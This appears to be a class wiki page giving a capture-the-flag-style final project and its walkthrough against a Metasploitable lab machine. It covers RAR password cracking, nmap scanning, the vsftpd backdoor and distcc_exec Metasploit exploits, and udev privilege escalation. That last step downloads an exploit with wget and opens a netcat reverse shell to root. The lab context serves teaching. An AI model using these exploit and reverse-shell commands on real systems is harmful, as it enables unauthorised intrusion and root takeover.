Final Project - Justin-Boyd/Ethical-Hacking-Class GitHub Wiki
- You are working in a company called ‘Workaround’ as a penetration tester.
- During work on a project that your manager assigned to you, you receive an email from Ian, the IT department manager.
- Roger, your manager, asks you to address the message and help Ian.
Hello team,
Recently, our Web Development Manager, Jessica, was fired. In addition to the classified reason she was let go,
we also suspect she was hiding information.
We managed to reset her password and access her computer, but didn’t find anything outwardly incriminating.
However, we do know that Jessica helped employees with web development (not as part of a company project
and against company regulations) and suspect that somehow she managed to hide that fact via a web-based
application.
The only thing we found is an encrypted compressed file called ‘Additional Files’ on her desktop.
The file seems out of place, but we cannot find any matching password for it. We even tried her birthday
combination, and the names of both her husband and daughter, but nothing matches.
Can you please help obtain the password for the compressed file and find out what Jessica was hiding?
Thank you,
IT Department Manager,
Ian Tucker
- As a penetration tester, you are to assist Ian in the investigation.
- Perform the specified steps and solve them one-byone to reach the final answer.
- The file you have to work on is CrackMeIfYouCan.rar.
- Find out the password for the compressed file.
- Study the compressed file’s content and investigate any suspicious looking files.
- You begin to understand that when linked together, the files comprise a customized website with a login page, but one of the files is not part of the website. Investigate the website to obtain another clue that will lead you to the next stage.
- It appears that in the website’s source code an encoded string was hidden. The string is a clue for the next stage.
- The encoded string is decoded to a PHP code that can be used as a PHP file. The file can guide you to the next step.
- When you scan the network, you discover a Linux machine that isn’t part of the original workspace. Investigate that machine to find a way inside it and continue the investigation.
- A scan of the machine reveals many open ports, and Ian asks you to export the results to an XML file, so he can review it. Ian requests that you try to find vulnerabilities in Vsftpd and Samba, since he knows Jessica specializes in those services. Your task is to try to obtain access to the machine via each of those services.
- As a first step in your investigation of the services, you access the system and try to elevate your privileges to root access level.
- Navigating in the system, you find that the udev process is running, enumerate its version, and notice that it can be used for privilege escalation.
- After obtaining root access to the machine, Ian asks you to find out the hash for the root user.
- Transfer CrackMeIfYouCan.rar from the additional files provided to your Kali OS machine.
- Crack the .rar file's password and extract the files.
- Open terminal
- cd /root/Desktop
- rar2john CrackMeIfYouCan.rar
- rar2john CrackMeIfYouCan.rar > hash
- john hash
- Explore the extracted files and search for interesting information.
- Create a new folder on the desktop named finalproject
- Open the .rar file using the password letmein
- Extract the contents of the .rar to the finalproject folder
- Open the secret only I would know.txt file
- Decipher the interesting information.
- Open a browser and navigate to https://hashes.com/en/decrypt/hash
- submit the hash values from the previous file
- This reveals the plain text passwords
- Two of the extracted files may look familiar. Find out how you can use those files and implement the credentials.
- in terminal use cd finalproject/
- mv index.php style.css /var/www/html/
- service apache2 start
- Browse to http://127.0.0.1/index.php
- Use the username: xyzxyz and password: Pa$$w0rd to login
- Examine the webpage for additional clues.
- View the source code of the webpage (there is a base64 encoded message hidden in the code)
- Open a new tab and go to https://www.base64decode.net/
- Paste the encoded message and click on decode
- Review the decoded message (There is another hidden base64 coded message within)
- Repeat the decoding process on the newly obtained coded message
- Use the clues to identify the target.
- In terminal run netdiscover to reveal the target
- Find open ports on the machine and display the results in webpage format.
- Open a new terminal
- nmap -O -sV -sC -oX /root/Desktop/output.xml [target IP]
- Drag the XML file to the browser and view the collected information.
-
Find two ways of gaining access to the machine for the vsftpd and samba protocol vulnerabilities. The last connected session should be to a service hosted on port 3632.
-
Note: Between each stage of a Metasploit session, exit and create a new one.
-
For vsftpd
- First way
- telnet 21
- USER: anonymous
- PASSWORD: (BLANK)
- Use CRTL+] to quit
- Second way
- msfconsole
- search vsftpd
- use exploit/unix/ftp/vsftpd_234_backdoor
- show options
- set RHOST
- run
- exit
-
For samba
- first way
- msfconsole
- use exploit/unix/misc/distcc_exec
- show options
- set RHOSTS
- run
- Ctrl+C and then y to quit
- Second way
- smbclient ///tmp
- exit
- Locate the udev vulnerable process.
- In the metasploitable session tab use ps aux
- dpkg -l |grep “udev”
- Search for the udev exploit file and place it on a web server to enable access from the remote connection.
- Open a new terminal tab
- msfconsole
- search udev
- In another tab run cp /usr/share/exploitdb/exploits/linux/local/8572.c /var/www/html
- Read how to use the exploit and prepare it for execution on the remote machine.
- service apache2 start
- cat /var/www/html/8572.c to review how to use the udev exploit
- In the Msvenom sesion tab run wget /8572.c
- gcc 8572.c –o output
- touch run
- echo ‘#!/bin/sh’ >> run
- echo ‘/bin/netcat –e /bin/sh ’ >> run
- Create a listener and execute the exploit. Note the established connection with high privileges.
- cat /proc/net/netlink to get the PID
- In a different terminal tab, set a listener on port 5000 by running nc -lvnp 5000
- In the Msfconsole session, run the following: chmod +x output then ./output
- Switch back to the listener tab and note the newly added line after the execution of the file output.
- Note the user using the whoami command from the created socket. You should be connected as the root user.